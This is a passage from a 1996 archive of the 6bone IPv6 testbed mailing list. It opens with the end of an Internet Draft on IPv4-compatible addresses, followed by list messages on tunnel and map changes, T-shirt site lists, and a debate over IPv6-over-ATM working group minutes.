>   simplify the definition, implementation, and usage of this address 
>   form, and smooth the IPv4 to IPv6 transition.  Simple, clear 
>   definitions are easy to explain; special cases and asterisks are 
>   not.  If IPv6 is to be widely accepted and deployed, the training 
>   and educational aspects of the architecture must not be ignored.
>
>3. Isolated Hosts
>
>   Two interpretations of the term "Isolated Host" have been proposed 
>   in the course of discussing IPv4-compatible address usage. Both  are 
>   presented below, and hopefully these definitions can be clarified, 
>   and consensus reached, through further discussion.
>
>3.1. Class 1 Isolated Nodes
>
>   The first interpretation of an isolated host is a host which does 
>   not have an on-link IPv6 router, and which thus must encapsulate all 
>   packets to off-link destinations.  But this node is connected to an 
>   IPv6-capable Internet Service Provider (ISP) and thus has a provider 
>   based IPv6 address [RFC1897][V6PROVIDER], which we will refer to as 
>   PBA. This PBA is assigned to the tunnel interface and is used as 
>   source address in outgoing packets. The node has a manually 
>   configured tunnel to an ISP router. This PBA is based upon the ISP's 
>   prefix and the IPV4 address of the IPv4 interface through which the 
>   encapsulated packets get forwarded to the ISP.  Note that the 
>   IPv4-compatible might be usable as the link-local address in a 
>   routing protocol, but this is yet to be determined.
>
>   So this isolated node has global IPv6 connectivity via the ISP. This 
>   isolated node has a default IPv6 route (::/0) with the ISP router as 
>   next-hop, which may be identifed by an IPv4-compatible address. 
>   Examples of this class of isolated node can be found on the current 
>   6-bone. [6BONE]
>
>3.2. Class 2 Isolated Nodes
>
>   The second form of isolated nodes are those nodes which are not 
>   connected to an IPv6-capable ISP, i.e. they don't have a PBA. All 
>   they have is an IPv4-compatible address and they communicate with 
>   other IPv6 nodes which have IPv4-compatible addresses using 
>   end-to-end automatic tunneling.  This requires that the destination 
>   node also has an IPv4-compatible address, and implies that the 
>   packet will make a single hop (i.e. the IPv6 packet will not be 
>   forwarded).
>
>   In the evolution of the 6bone, the second class of host is not  
>   represented.  It remains to be seen how common this type of host 
>   will be as IPv6 is deployed commercially. For these nodes to 
>
>
>Expires May 1997                                                [Page 4]
>
>Internet Draft          IPv4-compatible Addresses          November 1996
>
>   communicate with other IPv6 nodes on the Internet, the remote IPv6 
>   system must have automatic tunneling enabled on every IPv6 node on 
>   the Internet. At some point in transition, when the IPv4 address 
>   space is exhausted, new IPv6 nodes will not be able to get 
>   IPv4-compatible addresses to do automatic tunneling.  These nodes 
>   will only have PBAs and would not be able to communicate with class 
>   2 isolated nodes. So while this class of system represents a simple 
>   configuration, it can be seen that from the beginning these nodes 
>   may only be able to communicate with a subset of the IPv6 network, 
>   and the percentage of unreachable hosts will likely increase over 
>   time. Also, the extensive use of IPv4-compatible addresses for 
>   communications between IPv6 systems will exercise the IPv4 routing 
>   infrastructure, without promoting the use of IPv6 hierarchical 
>   routing, thereby taxing an overburdened service without any gain in 
>   operational experience in the new technology.
>
>4. Other Issues
>
>   One important issue is whether IPv4-compatible addresses should be 
>   assigned to all physical interfaces having IPv4 addresses. We 
>   believe that this is not a good idea as it creates several problems 
>   without  being a solution for any existing problem.  There are other 
>   issues to consider as well.
>
>   Another disadvantage is that IPv4-compatible addresses will have to 
>   be treated specially in name services like DNS and DHCP, with 
>   duplication of data and potential operational confusion resulting.
>
>4.1. Host Issues
>
>   Hosts may have to deal with multiple mechanisms for obtaining 
>   addresses, and support dual address lifetime (or lease) constructs. 
>   While DHCP is commonly used to obtain IPv4 addresses,  DHCPv6 does 
>   not support the assignment of IPv4-compatible addresses, and thus 
>   the server will not recognize such addresses as belonging to any 
>   given client.  [DHCPv6]
>
>   Also, assigning an IPv4-compatible address to the interface on which 
>   IPv4 is running may not be generally possible.  For example, an IPv4 
>   host using SLIP could support an IPv6 implementation using 
>   tunnelling, but not a native interface.  There may be other examples 
>   of media types which support one protocol but not the other.
>
>4.2. Router Issues
>
>   In addition to the issues presented above, which focus largely on 
>   the impact to IPv6 hosts, there are various concerns related to dual 
>   IPv6/IPv4 routers.  In the current RFC 1933 model, dual protocol 
>   routers at the borders of IPv6 islands may be called upon to perform 
>   routing of packets using IPv4-compatible source and destination 
>   addresses.  There are several reasons why this is not a good idea:
>
>    - While encapsulation of IPv6 packets in IPv4 tunnels will be a
>      necessary function of dual IPv4/IPv6 routers, it would be best
>
>
>Expires May 1997                                                [Page 5]
>
>Internet Draft          IPv4-compatible Addresses          November 1996
>
>      to reduce the need for this function by having the originating
>      host use automatic tunnelling.
>
>    - The routers may have greater memory requirements than otherwise.
>      See the draft "IPv6 Routing Table Issues" [RJA] for details.
>
>5. Acknowledgements
>
>   The authors wish to thank Pedro Roque, Jim Bound, Ran Atkinson, Bill 
>   Lenharth and Matt Thomas for their input and consideration, as well 
>   as the growing community of IPv6 developers.
>
>6. References
>
>   [RFC1933]	R. Gilligan, E. Nordmark, "Transition Mechanisms for
>   		IPv6 Hosts and Routers", RFC 1933, April 1996.
>
>   [V6TUNNELS]	A. Conta, S. Deering, "Generic Packet Tunneling in IPv6",
>   		<draft-ietf-ipngwg-ipv6-tunnel-04.txt>, Work in Progress,
>   		October 1996.
>
>   [RFC1122]	R. Braden, "Requirements for Internet Hosts - Communication
>   		Layers", RFC 1122, October 1989.
>
>   [NGLIST]	Interoperability problem described on ngtrans mailing
>   		list, Wednesday March 13, 1996. 
>
>   [RFC1897]	R. Hinden, "IPv6 Testing Address Allocation", RFC 1897,
>   		January 1996. 
>
>   [V6PROVIDER]	Y. Rekhter et al, "An IPv6 Provider-Based Unicast Address
>   		Format", <draft-ietf-ipngwg-unicast-addr-fmt-04.txt>,
>   		Work in Progress, March 1996.
>
>   [6BONE]		http://www-cnr.lbl.gov/6bone
>
>   [DHCPv6]	J. Bound, C. Perkins, "Dynamic Host Configuration Protocol
>   		for IPv6 (DHCPv6)", <draft-ietf-dhc-dhcpv6-07.txt>, 
>   		Work in Progress, August 1996.
>
>   [RJA]		R. Atkinson, "IPv6 Routing Table Size Issues",
>   		<draft-ietf-ipngwg-ipv6-routing-00.txt>, Work in
>   		Progress, October 1996.
>
>7. Author's Addresses
>
>
>   	Dan Harrington
>   	P.O. Box 81W
>   	W. Townsend, MA
>
>   	Quaizar Vohra
>   	Interoperability Lab
>   	7 Leavitt Lane
>
>
>Expires May 1997                                                [Page 6]
>
>Internet Draft          IPv4-compatible Addresses          November 1996
>
>   	University of New Hampshire
>   	Durham, NH  03824
>   	qv@iol.unh.edu
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>Expires May 1997                                                [Page 7]
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From majordom@ISI.EDU  Tue Nov  5 01:54:29 1996
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Date: Tue, 5 Nov 1996 09:54:29 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone map change
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

6bone diagram version 33:

	New tunnel from BAY/US to JOIN/DE

	New tunnel from BAY/US to UNI-C/DK

	New tunnel from BAY/US to G6/FR

	New tunnel from NRL/US to G6/FR

	New site UCAM-T/UK with tunnels to UMAN/UK and IFB/UK

	Added existing tunnel from NRL/US to IFB/UK


Welcome to Univ. of Cambridge, Trinity College!


Thanks,

Bob





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To: 6bone@isi.edu
Cc: Stephen Stuart <stuart@pa.dec.com>
Subject: IPV6 web servers
Date: Tue, 05 Nov 96 11:19:28 -0800
From: Stephen Stuart <stuart@pa.dec.com>
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Three of Digital's Palo Alto web servers are now IPV6-capable. Point
your IPV6-capable web browser at any of the following URLs for the
IPV6 versions of:

  http://altavista.ipv6.digital.com/	AltaVista
  http://www.ipv6.digital.com/		Digital's corporate WWW server
  http://ftp.ipv6.digital.com/		Search gatekeeper.dec.com's archive

If you have IPV6-specific problems with any of these services, please
contact me rather than the official support folks.

Stephen
- -----
Stephen Stuart				stuart@pa.dec.com
Network Systems Laboratory
Digital Equipment Corporation

From majordom@ISI.EDU  Tue Nov  5 10:06:44 1996
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Date: Tue, 5 Nov 1996 18:06:44 -0800
To: 6bone@ISI.EDU (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Tshirt site list as of 5 Nov 96 - NEED SANITY CHECK
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6bone folk,

The list below has the sites I know of to date for the back of the 6bone
Tshirt.  I've listed the G6 collaboration sites and would like to add other
collaboration sites as well (JOIN, UNI-C, WIDE, others?) if someone can
supply them.

Also, I thought we were soon to get a site in Spain (ES) - anyone know?


So please speak up now as I will turn the list over to my illustrator on
=46riday the 8th.


And get those new countries signed up and online now!!  :-)


Thanks,

Bob


PS:  I will soon publish the list of orders to date so you can check and
modify as needed...it's just not in the critical path yet and I've been
busy :-)

=3D=3D=3D=3D=3D=3D=3D=3D=3D

AT
  COSY
DE
  FAUERN
  JOGUNET
  JOIN
  TU-BS
DK
  TELEBIT
  UNI-C
ES
  XXX
=46R
  EUDIL
  ENSTb
  G6
  INRIA
  IMAG
  SB-ROSCOFF
  UPOITIER
  UREC
  USTRASBOURG
JP
  KEK
  SUMITOMO
  WIDE
KZ
  KIT
NL
   RIPE-NCC
PT
  UL
SE
  ERA
  SICS
SG
  NUS-IRDU
UK
  IFB
  UCAM-T
  UCL
  UMAN
US
  ATT
  BAY
  CAIRN
  CISCO
  DIGITAL
  ESNET
  FNAL
  FTP-SW
  INNER
  KOHALA
  LBNL
  MERIT
  NASA-GSFC
  NASA-NAS
  NETLAG
  NIST
  NRL
  PARC
  RUTGERS
  SUMITOMO
  SUN
  UCLA
  UNH
  UO
  USC-ISI
  WWU

-



From majordom@ISI.EDU  Wed Nov  6 17:01:36 1996
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To: 6bone@isi.edu (6BONE Mailer)
Subject: Re: Tshirt site list as of 5 Nov 96 - NEED SANITY CHECK 
X-Uri: <URL:http://www.net.lut.ac.uk/~martin>
In-Reply-To: Your message of "Tue, 05 Nov 1996 18:06:44 PST."
             <v03007824aea59dc80a29@[128.3.9.22]> 
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Date: Wed, 06 Nov 1996 17:01:36 +0000
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Bob Fink LBNL writes:

| So please speak up now as I will turn the list over to my illustrator on
| Friday the 8th.

Put us down for a couple of T-shirts if it's not too late!

We've just started routing to the 6bone via IFB, and our prefix is 
(thinks...) 5f03:1200:9e7d:6000/64

| UK
|   IFB
    LUT :-)
|   UCAM-T
|   UCL
|   UMAN

Cheerio,

Martin



From majordom@ISI.EDU  Wed Nov  6 14:38:42 1996
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	id AA23319; Wed, 6 Nov 1996 19:38:42 -0500
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To: Tony Hain <tonyhain@microsoft.com>
Cc: "'qv@iol.unh.edu'" <qv@iol.unh.edu>,
        "'gilligan@free-gate.com'" <gilligan@free-gate.com>,
        "'dan@lkg.dec.com'" <dan@lkg.dec.com>,
        "'sob@harvard.edu'"	 <sob@harvard.edu>,
        "'6bone@isi.edu'" <6bone@ISI.EDU>
Subject: Re: Internet Draft Submission 
In-Reply-To: Your message of "Mon, 04 Nov 96 14:56:56 PST."
             <c=US%a=_%p=msft%l=RED-11-MSG-961104225656Z-11802@mail4.microsoft.com> 
Date: Wed, 06 Nov 96 19:38:42 -0500
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Hi Tony,

I pretty much agree with your response.  One part I do agree with in the
draft is I don't see v4-compat addrs being used on the link but only
with tunnels.  Is NGTRANS the place to discuss taht or IPng WG?

I think we should review Dimitry's draft for sure.  Its looking much
stronger.  I would like to see more in the draft how the routes are
actually discovered as this may be the place to discover tunnels and we
could test it on the 6bone.

We are meeting right?

thanks
/jim

From majordom@ISI.EDU  Wed Nov  6 10:14:31 1996
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Date: Wed, 6 Nov 1996 18:14:31 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Tshirt site list as of 6 Nov 96
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Current list of sites for the Tshirt follows.  Think I've caught up with
the requests for being on the Tshirt.

Corrections/additions accepted as usual.


Thanks,

Bob
=3D=3D=3D=3D=3D=3D=3D=3D=3D

AT
  COSY
CH
  ETHZ
DE
  DETEBERKOM
  FAUERN
  JOGUNET
  JOIN
  TU-BS
DK
  TELEBIT
  UAALBORG
  UAARHUS
  UCOPENHAGEN
  ULYNGBY
  UNI-C
  UODENSE
=46R
  EUDIL
  ENSTb
  G6
  INRIA
  IMAG
  SB-ROSCOFF
  UPOITIER
  UREC
  USTRASBOURG
JP
  IWANAMI
  KEK
  NARA
  SUMITOMO
  UTOKYO
  WIDE
KZ
  KIT
NL
   RIPE-NCC
PT
  UL
SE
  ERA
  KTH
  SICS
SG
  NUS-IRDU
UK
  IFB
  LUT
  TICL
  UCAM-T
  UCL
  UMAN
US
  ATT
  BAY
  CAIRN
  CISCO
  DIGITAL
  ESNET
  FNAL
  FTP-SW
  IBM
  INNER
  KOHALA
  LBNL
  MERIT
  NASA-GSFC
  NASA-NAS
  NETGOD
  NETLAG
  NIST
  NRL
  PARC
  RUTGERS
  SUMITOMO
  SUN
  UCLA
  UNH
  UO
  USC-ISI
  WWU
-



From majordom@ISI.EDU  Wed Nov  6 16:49:49 1996
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To: Bob Gilligan <gilligan@freegate.net>
Cc: bound@zk3.dec.com, Tony Hain <tonyhain@microsoft.com>,
        "'qv@iol.unh.edu'" <qv@iol.unh.edu>,
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Subject: Re: Internet Draft Submission 
In-Reply-To: Your message of "Wed, 06 Nov 96 18:25:16 PST."
             <3281488C.6854@freegate.net> 
Date: Wed, 06 Nov 96 21:49:49 -0500
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Bob/Tony,

Why don't you start a thread on ngtrans and we can all stop responding
to this mail on IPng WG...

/jim

From majordom@ISI.EDU  Thu Nov  7 11:32:49 1996
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Subject: IPv6 on ATM
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Date: Thu, 07 Nov 1996 10:32:49 +0100
From: Christer Bohm <bohm@it.kth.se>
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Hi, I don't know if this is the right forum for this type of question. I 
wonder if anyone have expirience of IPv6 on top on ATM? We have MAN network (a 
part of the Stockhom Gigabit Network) manily consisting of Fore ATM switches 
and we would like to run IPv6 on it and connect it to the 6bone. Are there any 
 implementations that could fit our purpose?

Thanks in advance!

/Christer
- -
Christer Bohm				url: http://www.it.kth.se/~bohm
					e-mail: bohm@it.kth.se
Royal Institute of Technology    	Dept. of Teleinformatics
KTH-Electrum/204			phone:	+46+8+752 1486
S-164 40 Stockholm,SWEDEN		fax:	+46+8+751 1793


From majordom@ISI.EDU  Thu Nov  7 13:57:52 1996
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To: 6bone@isi.edu
Cc: bohm@it.kth.se, brandner@kar.dec.com
Subject: Re: IPv6 on ATM 
In-Reply-To: Your message of Thu, 07 Nov 96 10:32:49 +0100.
             <199611070932.KAA03964@piraya.electrum.kth.se> 
Mime-Version: 1.0
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Date: Thu, 07 Nov 96 12:57:52 +0100
From: Rudolf Brandner  CEC Karlsruhe  (+49-721-690231) <brandner@kar.dec.com>
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Christer,

there isn't any standard for IPv6/ATM yet and there are still problems to be 
solved (i.e. how to autoconfigure a node, how ND should work, etc).

Nevertheless, you can tunnel IPv6 traffic using IPv4/ATM (what's probably not 
what you want to do). We did this already here in Germany between Berlin and 
Karlsruhe using the B-ISDN of the Deutsche Telekom. Worked very well.


Rudolf Brandner
CEC Karlsruhe, European Applied Research Center
Digital Equipment Corporation
email: brandner@kar.dec.com
----------
> 
> Hi, I don't know if this is the right forum for this type of question. I 
> wonder if anyone have expirience of IPv6 on top on ATM? We have MAN network (a 
> part of the Stockhom Gigabit Network) manily consisting of Fore ATM switches 
> and we would like to run IPv6 on it and connect it to the 6bone. Are there any 
>  implementations that could fit our purpose?
> 
> Thanks in advance!
> 
> /Christer
> - -
> Christer Bohm				url: http://www.it.kth.se/~bohm
> 					e-mail: bohm@it.kth.se
> Royal Institute of Technology    	Dept. of Teleinformatics
> KTH-Electrum/204			phone:	+46+8+752 1486
> S-164 40 Stockholm,SWEDEN		fax:	+46+8+751 1793
> 







From majordom@ISI.EDU  Fri Nov  8 07:06:35 1996
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From: Woohyong Choi <whchoi@cosmos.kaist.ac.kr>
Message-Id: <199611071306.WAA20896@cosmos>
Subject: Tunnel Request from KAIST to NRL
To: ronald.d.lee@nrl.navy.mil
Date: Thu, 7 Nov 1996 22:06:35 +0900 (KST)
Cc: 6bone@isi.edu
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We're setting up an IPv6 cloud of two machines here in KAIST, Korea.
One is a Sparc machine running NetBSD1.1(with INRIA IPv6 code),
and the other is planned to run Solaris IPv6 soon.

The IPv6 address for KAIST node is

6bone-gw.ipv6.kaist.ac.kr [TBD; DNS is not yet operational yet]
5f06:f500:8ff8:b900::0800:2007:4749 (5f06:f500:8ff8:b900::/64 prefix)
143.248.185.22 (AS1781)

contact point - ipv6-ops@cosmos.kaist.ac.kr

From the ping statistics from my local machine, I believe NRL will
better serve as my parent for IPv6 tunnel.

Ronald, could you please add a tunnel entry in your router and tell
me RIPE IP6RR ftp group username/password? (132.250.90.5 143.248.185.22
KAIST)

Thanks,
-whchoi


Cisco
----192.31.7.41 PING Statistics----
137 packets transmitted, 109 packets received, 20% packet loss
round-trip (ms)  min/avg/max = 334/417/489

NRL
----132.250.90.5 PING Statistics----
134 packets transmitted, 125 packets received, 6% packet loss
round-trip (ms)  min/avg/max = 458/549/725

From majordom@ISI.EDU  Thu Nov  7 14:33:57 1996
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From: Jonathan Day <jcday@jpd.ch.man.ac.uk>
Message-Id: <199611071433.OAA18365@jpd.ch.man.ac.uk>
Subject: UMAN entry change
To: 6bone@ISI.EDU
Date: Thu, 7 Nov 1996 14:33:57 +0000 (GMT)
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Hi

Just a quick note to say I've made a few corrections to
the entry for UMAN - the tunnels to IFB and the University
of Cambridge from my site are now correctly given. (ok, ok
they're actually present now. :)

Jonathan


From majordom@ISI.EDU  Thu Nov  7 01:25:16 1996
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From: rja@cisco.com (Ran Atkinson)
Date: Thu, 7 Nov 1996 09:25:16 PST
In-Reply-To: Christer Bohm <bohm@it.kth.se>
       "IPv6 on ATM" (Nov  7, 10:32am)
X-Mailer: Mail User's Shell (7.2.5 10/14/92)
To: Christer Bohm <bohm@it.kth.se>, 6bone@ISI.EDU
Subject: Re: IPv6 on ATM
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Status: RO

There is not yet anything close to consensus within the IETF on how
IPv6 should be used over ATM.  There are at least two (possibly
more) proposals on IPv6 over ATM (see draft-ion-* in the Internet
Drafts archive near you for documents related to IPv4-IPv6/ATM).

So, while it is possible that a prototype implementation exists, there
is not yet any sort of interoperable standard for IPv6 over ATM.

Best regards,

Ran
rja@cisco.com


-- 

From majordom@ISI.EDU  Thu Nov  7 20:32:40 1996
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From: Francis Dupont <Francis.Dupont@inria.fr>
To: Christer Bohm <bohm@it.kth.se>
Cc: 6bone@isi.edu
Subject: Re: IPv6 on ATM 
In-Reply-To: Your message of Thu, 07 Nov 1996 10:32:49 +0100.
             <199611070932.KAA03964@piraya.electrum.kth.se> 
Date: Thu, 07 Nov 1996 19:32:40 +0100
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Status: RO

 In your previous mail you wrote:

   Hi, I don't know if this is the right forum for this type of
   question. I wonder if anyone have expirience of IPv6 on top on ATM? We
   have MAN network (a part of the Stockhom Gigabit Network) manily
   consisting of Fore ATM switches and we would like to run IPv6 on it
   and connect it to the 6bone. Are there any implementations that could
   fit our purpose?

=> if you need something today or tomorrow morning you can only
use PVCs which solve all the resolution (ie address mapping) and
QoS issues. It is less stupid than you can believe...
But for other (:-) features you have to wait for a standard,
for instance InARP is not yet defined for IPv6 (more an oversight
than a real problem).

Regards

Francis.Dupont@inria.fr

   

From majordom@ISI.EDU  Thu Nov  7 10:19:06 1996
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To: Christer Bohm <bohm@it.kth.se>
Cc: 6bone@ISI.EDU, bound@zk3.dec.com
Subject: Re: IPv6 on ATM 
In-Reply-To: Your message of "Thu, 07 Nov 96 09:25:16 PST."
             <199611071725.JAA22867@cornpuffs.cisco.com> 
Date: Thu, 07 Nov 96 15:19:06 -0500
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Christer,

>There is not yet anything close to consensus within the IETF on how
>IPv6 should be used over ATM.  There are at least two (possibly
>more) proposals on IPv6 over ATM (see draft-ion-* in the Internet
>Drafts archive near you for documents related to IPv4-IPv6/ATM).

This is not entirely the case.  There was a debate and set of
presentations on this at the June 1996 Montreal meeting.  Three
different proposals were on the table.  One from Greenville Armitage,
One from Schulter/Jork, and one from Atkinson, et al.  The Atkinson et
al proposed to use NHRP.  Armitage wanted to use Multicast and a server
strategy, and Schulter/Jork determined a scheme to treat ATM as any
other link to IPv6.  The consensus that was reached was that
Armitage/Schulter/Jork will combine technologies and determine a course
of action for ATM LANs and NHRP would only be used for cut-thu and over
large clouds.  This had consensus by the WG Chair and the ) community
The details of these specs I assume will be presented at San Jose in the
ION WG.  The reason that the community did this is we do not want to
have to rewrite our software for different links and many other reasons.
Do a search on the ID Abstracts directory for "Schulter" "Amritage"
"Atkinson" or "ION".  You can use that as background.

>So, while it is possible that a prototype implementation exists, there
>is not yet any sort of interoperable standard for IPv6 over ATM.

Its not just possible its in fact true.  Rudi Brandner already responded
to you and I think Francis Dupont may have one too.  So Digital and
INRIA do have prototypes.  But I think until the specs get done doing
more work is very sketchy.   

/jim

From majordom@ISI.EDU  Thu Nov  7 05:32:44 1996
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From: rja@cisco.com (Ran Atkinson)
Date: Thu, 7 Nov 1996 13:32:44 PST
In-Reply-To: <bound@zk3.dec.com>
       "Re: IPv6 on ATM" (Nov  7,  3:19pm)
X-Mailer: Mail User's Shell (7.2.5 10/14/92)
To: <bound@zk3.dec.com>, Christer Bohm <bohm@it.kth.se>
Subject: Re: IPv6 on ATM
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Jim,

  I'll quote directly from the official online meeting minutes
(see ftp://ftp.ietf.org/ietf/ion/ion-minutes-96jun.txt) :

----------------------------------------------------------------------

At this point, the chairs opened the floor for discussion of the three
proposals presented. There were a number of clarification questions on
the three presentations. Referring to
draft-ietf-ion-ipv6atm-framework-00, Joel Halpern asked whether or not
we really wanted two multicast mechanisms. Markus responded that a
second mechanism wasn't necessary and that MARS could be used instead.

After some discussion, the chairs asked each of the presenters what they
believed the differences in the proposals were and what the best way
forward would be. The general consensus was that the major difference
was where to run NHRP (on the host or on the router). It was also urged
that the solution to neighbor discovery should attempt to minimize the
use of multicast/broadcast as the number of possible recipients could be
quite large. There was agreement that a merged draft will be produced
from the three proposals with a goal to have one server (MARS) instead
of two. This draft is expected in advance of the next IETF meeting.

----------------------------------------------------------------------

      Note that this does not indicate that ANY decision has been made
on how to proceed and it explicitly notes that further discussion will
occur at the San Jose IETF.  Note also that co-locating the MARS server
with the NHRP server ("...one server instead of two") has been the
direction this working group has been moving in general (e.g. for IPv4
also) for sometime now.

      So my original comments to the 6bone list really are in fact
correct and consistent with the official online WG minutes. :-)

Best Regards,

Ran
rja@cisco.com

-- 

From majordom@ISI.EDU  Thu Nov  7 11:41:57 1996
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Date: Thu, 7 Nov 1996 16:41:57 -0500
From: dhaskin@baynetworks.com (Dimitry Haskin)
Message-Id: <199611072141.QAA03443@pobox.BayNetworks.com>
To: bound@zk3.dec.com
Subject: Re: IPv6 on ATM
Cc: 6bone@ISI.EDU, bohm@it.kth.se
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Jim,

> 
> This is not entirely the case.  There was a debate and set of
> presentations on this at the June 1996 Montreal meeting.  Three
> different proposals were on the table.  One from Greenville Armitage,
> One from Schulter/Jork, and one from Atkinson, et al.  The Atkinson et
> al proposed to use NHRP.  Armitage wanted to use Multicast and a server
> strategy, and Schulter/Jork determined a scheme to treat ATM as any
> other link to IPv6.  The consensus that was reached was that
> Armitage/Schulter/Jork will combine technologies and determine a course
> of action for ATM LANs and NHRP would only be used for cut-thu and over
> large clouds.  This had consensus by the WG Chair and the ) community
> The details of these specs I assume will be presented at San Jose in the
> ION WG.  The reason that the community did this is we do not want to
> have to rewrite our software for different links and many other reasons.
> Do a search on the ID Abstracts directory for "Schulter" "Amritage"
> "Atkinson" or "ION".  You can use that as background.
> 

This was not my reading of the "community consensus".  As I remember it,
the consensus was that Greenville and Peter should attempt to combine
their proposal and then community will decide between remaining two.
For one, both Greenville's and Peter's proposals are ATM centric and it
would be a win if we define solution which works over all NBMA technologis
as the Atkinson et al proposal does.

Dimitry

From majordom@ISI.EDU  Thu Nov  7 12:08:09 1996
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To: rja@cisco.com (Ran Atkinson)
Cc: <bound@zk3.dec.com>, Christer Bohm <bohm@it.kth.se>, 6bone@ISI.EDU
Subject: Re: IPv6 on ATM 
In-Reply-To: Your message of "Thu, 07 Nov 96 13:32:44 PST."
             <199611072132.NAA27062@cornpuffs.cisco.com> 
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Ran,

The minutes do not reflect the actual events that took place which I
stated and are also correct.  I will leave it that NHRP is not going to
be used for the ATM LAN solution, but that the solution to be worked on
will include the Schulter/Armitage work to be presented how they will
coordinate their efforts.

/jim

From majordom@ISI.EDU  Thu Nov  7 12:23:00 1996
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To: dhaskin@baynetworks.com (Dimitry Haskin)
Cc: 6bone@ISI.EDU, bohm@it.kth.se
Subject: Re: IPv6 on ATM 
In-Reply-To: Your message of "Thu, 07 Nov 96 16:41:57 EST."
             <199611072141.QAA03443@pobox.BayNetworks.com> 
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Dimitry,

>This was not my reading of the "community consensus".  As I remember it,
>the consensus was that Greenville and Peter should attempt to combine
>their proposal and then community will decide between remaining two.
>For one, both Greenville's and Peter's proposals are ATM centric and it
>would be a win if we define solution which works over all NBMA technologis
>as the Atkinson et al proposal does.

No not quite what I heard and we can now go back and ask the chair and
lots of people in the room at Montreal.  The minutes were just a
snapshot of about 1.25 hours and room full of consensus on the direction
to be headed. 

The issue is that NHRP would cause ND and Autoconf to treat the ATM or
NBMA link different than we treat Ethernet or FDDI as examples.  This
means that we all have to have extra or different code at the Internet
Layer to do ND for NBMA.  Peter has proposed a means that will not cause
this result, and will work with Greenville to adapt his proposal to MARs
and other parts in that draft.  

The bottom line is that the community did not want to tell grad students
10 years from now ND and Autoconf works this way on Ethernet and FDDI
and this way on NBMA.  And lots of us host vendors don't want to write
the ) code two different ways either.

NHRP lost a major battle at the Montreal meeting and in the community on
the host (I am not speaking of the router).

Denying that will only procrastinate a solution.  The Atkinson proposal
was deemed unacceptable was my reading and lots of other peoples for the
link case.  I heard the opposite from you that Schulter/Armitage will
resolve that problem with a proposal to the ION group at San Jose.
I know Peter and Greenville are working on this now no one from NHRP has
attempted to work with them do determine where NHRP fits on the router.
For the host we simply don't need it.  

/jim 


From majordom@ISI.EDU  Thu Nov  7 12:49:59 1996
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From: dhaskin@baynetworks.com (Dimitry Haskin)
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To: bound@zk3.dec.com
Subject: Re: IPv6 on ATM
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Jim
> 
> I will leave it that NHRP is not going to
> be used for the ATM LAN solution, but that the solution to be worked on
> will include the Schulter/Armitage work to be presented how they will
> coordinate their efforts.
> 
> /jim
> 

And what will we do for FR, X-25, etc.?  Provide yet separate solutions?! :(

Dimitry

From majordom@ISI.EDU  Thu Nov  7 07:58:00 1996
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To: rlfink@lbl.gov
Cc: Stephen Stuart <stuart@pa.dec.com>, 6bone@isi.edu
Subject: New 6bone tunnel
Date: Thu, 07 Nov 96 15:58:00 -0800
From: Stephen Stuart <stuart@pa.dec.com>
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Bob,

I've updated the DIGITAL-CA entry at RIPE to show the new tunnel to
Politecnico di Torino (POLITO). We exchange routing information with
them via RIPng. Could you please update the map?

% ping6 -c 10 ipv6gw-v4.polito.it 
PING ipv6gw-v4.polito.it (130.192.14.189): 56 data bytes
64 bytes from 130.192.14.189: icmp_seq=0 ttl=42 time=298 ms
64 bytes from 130.192.14.189: icmp_seq=1 ttl=42 time=275 ms
64 bytes from 130.192.14.189: icmp_seq=2 ttl=42 time=382 ms
64 bytes from 130.192.14.189: icmp_seq=3 ttl=42 time=412 ms
64 bytes from 130.192.14.189: icmp_seq=4 ttl=42 time=288 ms
64 bytes from 130.192.14.189: icmp_seq=5 ttl=42 time=303 ms
64 bytes from 130.192.14.189: icmp_seq=6 ttl=42 time=414 ms
64 bytes from 130.192.14.189: icmp_seq=7 ttl=42 time=450 ms
64 bytes from 130.192.14.189: icmp_seq=8 ttl=42 time=349 ms
64 bytes from 130.192.14.189: icmp_seq=9 ttl=42 time=323 ms

----ipv6gw-v4.polito.it PING Statistics----
10 packets transmitted, 10 packets received, 0% packet loss
round-trip (ms)  min/avg/max = 275/349/450 ms

Everyone,

Will sites carrying full routing please add the appropriate routing
table entries?

Thanks to all,
Stephen

From majordom@ISI.EDU  Thu Nov  7 09:35:48 1996
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From: rja@cisco.com (Ran Atkinson)
Date: Thu, 7 Nov 1996 17:35:48 PST
In-Reply-To: <bound@zk3.dec.com>
       "Re: IPv6 on ATM" (Nov  7,  5:23pm)
X-Mailer: Mail User's Shell (7.2.5 10/14/92)
To: <bound@zk3.dec.com>, dhaskin@baynetworks.com (Dimitry Haskin)
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Jim,

  I'd suggest you have an issue for the ion mailing list and the ION WG
chairs.  However, the IETF works on the premise that the meeting minutes
are both definitive and accurate.

  My understanding from the minutes and the chairs is the same as what
Dimitry said.  I'd also note that the 3rd proposal is largely the work
of Dimitry Haskin and Jim Luciani, to give credit where due. 

  I've not been contacted by Grenville or Peter at all, so its not the
case that I'm ignoring anyone.

Best Regards,

Ran
rja@cisco.com



-- 

From majordom@ISI.EDU  Fri Nov  8 11:28:17 1996
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To: 6bone@ISI.EDU
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Subject: Re: IPv6 on ATM 
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Date: Fri, 08 Nov 96 10:28:17 +0100
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Funny how everybody remembers the outcome of the last ION session in
a different way. My memory corresponds with what Jim said. (And I 
attended the session until the end, unlike other participants in this
discussion.)

I must admit I am guilty of not having checked the meeting minutes so
far. They necessarily can be only rough. But the sentence "There was
agreement that a merged draft will be produced from the three
proposals..." is not correct. The consensus was to merge the Armitage
and Schulter/Jork/Harter proposals (which is also what Dimitry remembers).
And my understanding is that that would be the basis for further work in
the ION group.

Markus


From majordom@ISI.EDU  Thu Nov  7 23:08:59 1996
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Date: Fri, 8 Nov 1996 07:08:59 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Tshirt site list as of 8 Nov 96 0700 PDT
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

Current list of sites for the Tshirt follows.  Think I've caught up with all
the requests for being on the Tshirt.

I will close this list off as of 1700 PDT today.

As an aside, this is now 16 countries, and over 75 sites.


Thanks,

Bob
=3D=3D=3D=3D=3D=3D=3D=3D=3D
AT
  COSY
CN
  ESYS
CH
  ETHZ
DE
  DETEBERKOM
  FAUERN
  JOGUNET
  JOIN
